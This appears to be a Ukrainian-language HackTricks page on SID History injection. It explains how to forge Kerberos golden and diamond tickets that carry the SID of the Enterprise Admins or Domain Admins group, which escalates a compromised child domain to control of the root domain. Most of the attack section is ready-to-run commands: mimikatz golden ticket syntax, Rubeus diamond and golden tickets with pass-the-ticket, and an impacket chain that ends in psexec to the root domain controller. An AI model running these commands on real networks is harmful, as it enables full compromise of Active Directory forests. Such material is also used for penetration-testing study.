Ви працюєте в кібербезпецівій компанії? Хочете побачити рекламу вашої компанії на HackTricks? або хочете мати доступ до останньої версії PEASS або завантажити HackTricks у PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Головна мета атаки впровадження історії SID - допомога переміщенню користувача між доменами, забезпечуючи при цьому продовжений доступ до ресурсів з попереднього домену. Це досягається шляхом включення попереднього ідентифікатора безпеки (SID) користувача в історію SID їх нового облікового запису. Зокрема, цей процес може бути зманіпульований для надання несанкціонованого доступу шляхом додавання SID високопривілейованої групи (такої як Enterprise Admins або Domain Admins) з батьківського домену до історії SID. Це використання надає доступ до всіх ресурсів у батьківському домені.
Існують два методи для виконання цієї атаки: через створення Золотого квитка або Діамантового квитка.
Для визначення SID групи "Enterprise Admins" спочатку потрібно знайти SID кореневого домену. Після ідентифікації SID групи Enterprise Admins можна сконструювати, додавши -519 до SID кореневого домену. Наприклад, якщо SID кореневого домену - S-1-5-21-280534878-1496970234-700767426, отриманий SID для групи "Enterprise Admins" буде S-1-5-21-280534878-1496970234-700767426-519.
Також можна використовувати групи Domain Admins, які закінчуються на 512.
Інший спосіб знайти SID групи іншого домену (наприклад, "Domain Admins") - це:
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
Для отримання додаткової інформації про золоті квитки перевірте:
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
Для отримання додаткової інформації про білети Diamond перевірте:
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache# psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10
Ви працюєте в кібербезпецівій компанії? Хочете побачити, як ваша компанія рекламується на HackTricks? або ви хочете мати доступ до останньої версії PEASS або завантажити HackTricks у PDF? Перевірте ПЛАНИ ПІДПИСКИ!